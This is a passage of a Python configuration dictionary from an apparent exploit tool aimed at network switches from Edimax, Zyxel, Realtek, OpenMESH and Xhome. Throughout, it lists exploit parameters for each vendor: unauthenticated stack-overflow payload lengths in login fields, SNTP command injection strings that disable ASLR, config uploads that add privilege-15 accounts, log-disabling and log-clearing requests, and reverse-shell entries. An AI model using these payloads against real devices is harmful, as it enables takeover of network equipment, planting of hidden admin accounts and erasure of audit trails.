'disable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
'disable_query':'{"_ds=1&sntpStatus=0&_de=1":{}}',
'verify_uri':'/tmp/check',
'vulnerable': False,
'safe': True
},
'stack_cgi_diag': {
'vulnerable': False,
},
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'log_settings_set_cmd':'',
'log_settings_set_SIGSEGV':True,
'log_ramClear_cmd':'',
'log_ramClear_SIGSEGV':True,
'log_fileClear_cmd':'',
'log_fileClear_SIGSEGV':True,
'log_settings_set':0x00,
'log_ramClear':0x00,
'log_fileClear':0x00,
'workaround':False,
'verify_uri':'',
'vulnerable': False,
'safe': True
},
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'sys_timeSntp_set_cmd':'&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123',
'sys_timeSntp_set_check':'&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123',
'sys_timeSntpDel_set_cmd':'&sntpServer=+&cursntpPort=139',
'sys_timeSettings_set_cmd_enable':'&sntpStatus=1',
'sys_timeSettings_set_cmd_disable':'&sntpStatus=0',
'sys_timeSettings_set_SIGSEGV': True,
'sys_timeSntp_set':0x00,
'sys_timeSntpDel_set':0x00,
'sys_timeSettings_set':0x00,
'workaround':False,
'verify_uri':'/tmp/check',
'vulnerable': False,
'safe': True
},
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}',
'stack':True,
'cgi':'set.cgi',
'START':0x00,
'STOP':0x00,
'usr_nop': 64,
'pwd_nop': 77,
'align': 3,
'stack':True,
'workaround':False,
'vulnerable': False,
'safe': True
},
},
},
'Edimax': {
'vendor': 'EDIMAX Technology Co., Ltd.',
'modulus_uri':'/cgi/get.cgi?cmd=home_login',
'info_leak':False,
'info_leak_JSON':True,
'info_leak_uri':'/cgi/get.cgi?cmd=home_login',
'xsid':False,
'xsid_uri':'/cgi/get.cgi?cmd=home_main',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'rsa',
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=home_loginStatus',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'vulnerable': True,
'safe': True
},
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':True,
'disable_uri':'/cgi/set.cgi?cmd=log_global',
'disable_query':'{"_ds=1&empty=1&_de=1":{}}',
'status':'/cgi/get.cgi?cmd=log_global',
'clean_logfile_uri':'/cgi/set.cgi?cmd=log_clear',
'clean_logfile_query':'{"_ds=1&target=1&_de=1":{}}',
'clean_logmem_uri':'/cgi/set.cgi?cmd=log_clear',
'clean_logmem_query':'{"_ds=1&target=0&_de=1":{}}',
'vulnerable': True,
'safe': True
},
'verify': {
'httpuploadruncfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httpuploadruncfg.cgi',
'check_uri':'/tmp/http_saverun_cfg',
'content':'/var/config/running-config',
'content_check':'/var/config/running-config',
'vulnerable': True,
'safe': True
},
'httprestorecfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httprestorecfg.cgi',
'check_uri':'/tmp/startup-config',
'content':'/mnt/startup-config',
'content_check':'/mnt/startup-config',
'vulnerable': True,
'safe': True
},
'httpupload.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload.cgi',
'check_uri':'/tmp/http_uploadfail',
'content':'Copy: Illegal software format',
'content_check':'Copy: Illegal software format',
'vulnerable': True,
'safe': True
},
'login.cgi': {
'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)',
'authenticated': False,
'response':'file',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'check_uri':'/tmp/VUL.TXT',
'content':'{"_ds=1&username='+ self.random_string(40) +'&password='+ '/' * 23 +'/tmp/VUL.TXT&_de=1":{}}',
'content_check':'1',
'vulnerable': True,
'safe': True
},
'set.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX',
'vulnerable': True,
'safe': False
},
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'authenticated': False,
'json':True,
'encryption':'clear',
'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------',
'add_uri':'/cgi/httpuploadruncfg.cgi',
'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}',
'del_uri':'/cgi/set.cgi?cmd=sys_acctDel',
'vulnerable': True,
'safe': True
},
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':True,
'authenticated': True,
'enable_uri':'/cgi/set.cgi?cmd=sys_time',
'enable_query':'{"_ds=1&sntp=1&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=sys_time',
'inject_uri':'/cgi/set.cgi?cmd=sys_time',
'inject_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&_de=1":{}}',
'check_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&_de=1":{}}',
'delete_uri':'/cgi/set.cgi?cmd=sys_time',
'delete_query':'{"_ds=1&sntp=1&timezone=0&srvDef=ipv4&srvHost=+&port=139&dlsType=0&_de=1":{}}',
'disable_uri':'/cgi/set.cgi?cmd=sys_time',
'disable_query':'{"_ds=1&sntp=0&_de=1":{}}',
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_diag': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'sys_ping_post_SIGSEGV': True,
'workaround':False,
'vulnerable': True,
'safe': True
},
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'log_settings_set_cmd':'&empty=1',
'log_settings_set_SIGSEGV':True,
'log_ramClear_cmd':'&target=0',
'log_ramClear_SIGSEGV':True,
'log_fileClear_cmd':'&target=1',
'log_fileClear_SIGSEGV':True,
'workaround':False,
'verify_uri':'',
'vulnerable': True,
'safe': True
},
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'sys_timeSntp_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&dlsType=0',
'sys_timeSntp_set_check':'&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&dlsType=0',
'sys_timeSntpDel_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=+&port=139&dlsType=0',
'sys_timeSettings_set_cmd_enable':'&sntp=1',
'sys_timeSettings_set_cmd_disable':'&sntp=0',
'sys_timeSettings_set_SIGSEGV': True,
'workaround':False,
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}',
'stack':True,
'workaround':False,
'vulnerable': True,
'safe': True
},
},
},
'Zyxel': {
'vendor': 'Zyxel Communications Corp.',
'modulus_uri':'',
'info_leak':False,
'info_leak_JSON':False,
'info_leak_uri':'',
'xsid':False,
'xsid_uri':'',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':False,
'encryption':'encode',
'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'query':'username=USERNAME&password=PASSWORD&login=1',
'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547',
'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
'vulnerable': False,
'safe': True
},
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':False,
'disable_uri':'/cgi-bin/dispatcher.cgi',
'disable_query':'LOGGING_SERVICE=0&cmd=4353',
'status':'/cgi-bin/dispatcher.cgi?cmd=4352',
'clean_logfile_uri':'/cgi-bin/dispatcher.cgi',
'clean_logfile_query':'cmd_4364=Clear+file+messages',
'clean_logmem_uri':'/cgi-bin/dispatcher.cgi',
'clean_logmem_query':'cmd_4364=Clear+buffered+messages',
'vulnerable': True,
'safe': True
},
'verify': {
'dispatcher.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'response':'502',
'Content-Type':False,
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(112) + '&password='+ self.random_string(60) + '&STARTUP_BACKUP=1',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX',
'vulnerable': True,
'safe': False
},
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'json':False,
'authenticated': False,
'encryption':'clear',
'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------',
'add_uri':'/cgi-bin/httpuploadruncfg.cgi',
'del_query':'',
'del_uri':'/cgi-bin/dispatcher.cgi?cmd=524&usrName=USERNAME',
'vulnerable': False,
'safe': True
},
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':False,
'authenticated': True,
'enable_uri':'/cgi-bin/dispatcher.cgi',
'enable_query':'sntp_enable=1&cmd=548',
'status_uri':'',
'inject_uri':'/cgi-bin/dispatcher.cgi',
'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550',
'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550',
'delete_uri':'/cgi-bin/dispatcher.cgi',
'delete_query':'sntp_Server=+&sntp_Port=139&cmd=550',
'disable_uri':'/cgi-bin/dispatcher.cgi',
'disable_query':'sntp_enable=0&cmd=548',
'verify_uri':'/tmp/check',
'vulnerable': False,
'safe': True
},
'stack_cgi_diag': {
'vulnerable': False,
},
'stack_cgi_add_account': {
'description':'Stack overflow in "username/password" (PoC: add priv 15 credentials)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(100) +'_JUMP_&password='+ self.random_string(60) +'_CMD_&STARTUP_BACKUP=1',
'workaround':False,
'vulnerable': True,
'safe': True
},
'stack_cgi_del_account': {
'description':'Stack overflow in "username/password" (PoC: del priv 15 credentials)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(100) +'_JUMP_&password='+ self.random_string(60) +'_CMD_&STARTUP_BACKUP=1',
'workaround':False,
'vulnerable': True,
'safe': True
},
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(100) +'_JUMP_&password='+ self.random_string(60) +'_CMD_&STARTUP_BACKUP=1',
'log_settings_set_cmd':'&LOGGING_SERVICE=0',
'log_settings_set_SIGSEGV':False,
'log_ramClear_cmd':'&_del=0',
'log_ramClear_SIGSEGV':False,
'log_fileClear_cmd':'&_del=1',
'log_fileClear_SIGSEGV':False,
'workaround':False,
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(100) +'_JUMP_&password='+ self.random_string(60) +'_CMD_&STARTUP_BACKUP=1',
'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123',
'sys_timeSntp_set_check':'',
'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=139',
'sys_timeSettings_set_cmd_enable':'&sntp_enable=1',
'sys_timeSettings_set_cmd_disable':'&sntp_enable=0',
'sys_timeSettings_set_SIGSEGV': False,
'workaround':True,
'verify_uri':'/tmp/check',
'vulnerable': False,
'safe': True
},
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&STARTUP_BACKUP=1',
'workaround':False,
'stack':True,
'vulnerable': True,
'safe': True
},
},
},
'Realtek': {
'vendor': 'Realtek',
'modulus_uri':'',
'info_leak':False,
'info_leak_JSON':False,
'info_leak_uri':'',
'xsid':False,
'xsid_uri':'',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':False,
'encryption':'clear',
'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'query':'username=USERNAME&password=PASSWORD&login=1',
'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547',
'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
'vulnerable': True,
'safe': True
},
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':False,
'disable_uri':'/cgi-bin/dispatcher.cgi',
'disable_query':'LOGGING_SERVICE=0&cmd=5121',
'status':'',
'clean_logfile_uri':'/cgi-bin/dispatcher.cgi',
'clean_logfile_query':'cmd_5132=Clear+file+messages',
'clean_logmem_uri':'/cgi-bin/dispatcher.cgi',
'clean_logmem_query':'cmd_5132=Clear+buffered+messages',
'vulnerable': True,
'safe': True
},
'verify': {
'httpuploadbakcfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload "backup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpuploadbakcfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!',
'vulnerable': True,
'safe': True
},
'httpuploadruncfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpuploadruncfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!',
'vulnerable': True,
'safe': True
},
'httprestorecfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httprestorecfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!',
'vulnerable': True,
'safe': True
},
'httpupload.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload.cgi',
'check_uri':'',
'content':'dummy',
'content_check':'Image Signature Error',
'vulnerable': True,
'safe': True
},
'dispatcher.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'response':'502',
'Content-Type':False,
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username=admin&password='+ self.random_string(184) + '&login=1',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX',
'vulnerable': True,
'safe': False
},
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'json':False,
'authenticated': False,
'encryption':'md5',
'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" secret encrypted PASSWORD\n\n------',
'add_uri':'/cgi-bin/httpuploadruncfg.cgi',
'del_query':'',
'del_uri':'/cgi-bin/dispatcher.cgi?cmd=524&usrName=USERNAME',
'vulnerable': True,
'safe': True
},
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':False,
'authenticated': True,
'enable_uri':'/cgi-bin/dispatcher.cgi',
'enable_query':'sntp_enable=1&cmd=548',
'status_uri':'',
'inject_uri':'/cgi-bin/dispatcher.cgi',
'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550',
'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550',
'delete_uri':'/cgi-bin/dispatcher.cgi',
'delete_query':'sntp_Server=+&sntp_Port=139&cmd=550',
'disable_uri':'/cgi-bin/dispatcher.cgi',
'disable_query':'sntp_enable=0&cmd=548',
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_diag': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'&login=1&_CMD_',
'sys_ping_post_check':'',
'sys_ping_post_SIGSEGV': False,
'workaround':False,
'vulnerable': True,
'safe': True
},
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1',
'log_settings_set_cmd':'&LOGGING_SERVICE=0',
'log_settings_set_SIGSEGV':False,
'log_ramClear_cmd':'',
'log_ramClear_SIGSEGV':False,
'log_fileClear_cmd':'',
'log_fileClear_SIGSEGV':False,
'workaround':True,
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1',
'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123',
'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=139',
'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=139',
'sys_timeSettings_set_cmd_enable':'&sntp_enable=1',
'sys_timeSettings_set_cmd_disable':'&sntp_enable=0',
'sys_timeSettings_set_SIGSEGV': False,
'workaround':False,
'verify_uri':'/tmp/check',
'vulnerable': False,
'safe': True
},
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&login=1',
'workaround':True,
'stack':True,
'vulnerable': True,
'safe': True
},
},
},
'OpenMESH': {
'vendor': 'Open Mesh, Inc.',
'modulus_uri':'',
'info_leak':True,
'info_leak_JSON':False,
'info_leak_uri':'/loginMsg.js',
'xsid':False,
'xsid_uri':'',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'',
'login_uri':'',
'query':'',
'status_uri':'',
'logout_uri':'',
'vulnerable': False,
'safe': True
},
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'',
'login_uri':'',
'query':'',
'status_uri':'',
'logout_uri':'',
'vulnerable': False,
'safe': True
},
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':True,
'disable_uri':'',
'disable_query':'',
'status':'',
'clean_logfile_uri':'',
'clean_logfile_query':'',
'clean_logmem_uri':'',
'clean_logmem_query':'',
'vulnerable': False,
'safe': True
},
'verify': {
'security.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/security.cgi?login',
'content':'usr=admin&pswrd=' + self.random_string(280),
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
'datajson.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr=admin&pswrd=' + self.random_string(288),
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/sn_httpupload.cgi?',
'vulnerable': True,
'safe': False
},
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'authenticated': False,
'json':True,
'encryption':'',
'content':'',
'add_uri':'',
'del_query':'',
'del_uri':'',
'vulnerable': False,
'safe': True
},
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':True,
'authenticated': True,
'enable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
'enable_query':'{"_ds=1&sntpStatus=1&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings',
'inject_uri':'/cgi/set.cgi?cmd=sys_timeSntp',
'inject_query':'{"_ds=1&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123&_de=1":{}}',
'check_query':'{"_ds=1&srvDef=byIp&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123&_de=1":{}}',
'delete_uri':'/cgi/set.cgi?cmd=sys_timeSntpDel',
'delete_query':'{"":{}}',
'disable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
'disable_query':'{"_ds=1&sntpStatus=0&_de=1":{}}',
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_add_account': {
'description':'Stack overflow in "username/password" (PoC: add priv 15 credentials)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
'workaround':False,
'vulnerable': True,
'safe': True
},
'stack_cgi_del_account': {
'description':'Stack overflow in "username/password" (PoC: del priv 15 credentials)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
'workaround':False,
'vulnerable': True,
'safe': True
},
'stack_cgi_diag': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
'verify_uri':'/conf_tmp/check',
'workaround':False,
'vulnerable': True,
'safe': True
},
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
'log_settings_set_cmd':'&en=0',
'log_settings_set_SIGSEGV':True,
'log_ramClear_cmd':'&ta=0',
'log_ramClear_SIGSEGV':True,
'log_fileClear_cmd':'&ta=1',
'log_fileClear_SIGSEGV':True,
'workaround':False,
'verify_uri':'',
'vulnerable': True,
'safe': True
},
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
'sys_timeSntp_set_cmd':'&sa=`echo 0 > /proc/sys/kernel/randomize_va_space`&sp=123',
'sys_timeSntp_set_check':'&sa=`cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check`&sp=123',
'sys_timeSntpDel_set_cmd':'&sa=+&sp=123',
'sys_timeSettings_set_cmd_enable':'&sn=1',
'sys_timeSettings_set_cmd_disable':'&sn=0',
'sys_timeSettings_set_SIGSEGV': True,
'workaround':False,
'verify_uri':'/conf_tmp/check',
'vulnerable': True,
'safe': True
},
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi-bin/security.cgi?login',
'logout_uri':'/cgi-bin/security.cgi?logout',
'query':'build=NOP&heap=NOP&to=NOP&higher=addresses&usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE',
'stack':False,
'workaround':False,
'vulnerable': True,
'safe': True
},
},
},
'Xhome': {
'vendor': 'Xhome',
'modulus_uri':'',
'info_leak':False,
'info_leak_JSON':False,
'info_leak_uri':'',
'xsid':False,
'xsid_uri':'',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':False,
'encryption':'clear',
'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'query':'username=USERNAME&password=PASSWORD&login=1',
'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547',
'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
'vulnerable': True,
'safe': True
},
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':False,
'disable_uri':'/cgi-bin/dispatcher.cgi',
'disable_query':'LOGGING_SERVICE=0&cmd=5121',
'status':'',
'clean_logfile_uri':'/cgi-bin/dispatcher.cgi',
'clean_logfile_query':'cmd_5132=Clear+file+messages',
'clean_logmem_uri':'/cgi-bin/dispatcher.cgi',
'clean_logmem_query':'cmd_5132=Clear+buffered+messages',
'vulnerable': True,
'safe': True
},
'verify': {
'httpuploadbakcfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload "backup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpuploadbakcfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!',
'vulnerable': True,
'safe': True
},
'httpuploadruncfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpuploadruncfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!',
'vulnerable': True,
'safe': True
},
'httprestorecfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httprestorecfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!',
'vulnerable': True,
'safe': True
},
'httpupload.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload.cgi',
'check_uri':'',
'content':'dummy',
'content_check':'Image Signature Error',
'vulnerable': True,
'safe': True
},
'dispatcher.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'response':'502',
'Content-Type':False,
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username=admin&password='+ self.random_string(184) + '&login=1',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX',
'vulnerable': True,
'safe': False
},
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'json':False,
'authenticated': False,
'encryption':'md5',
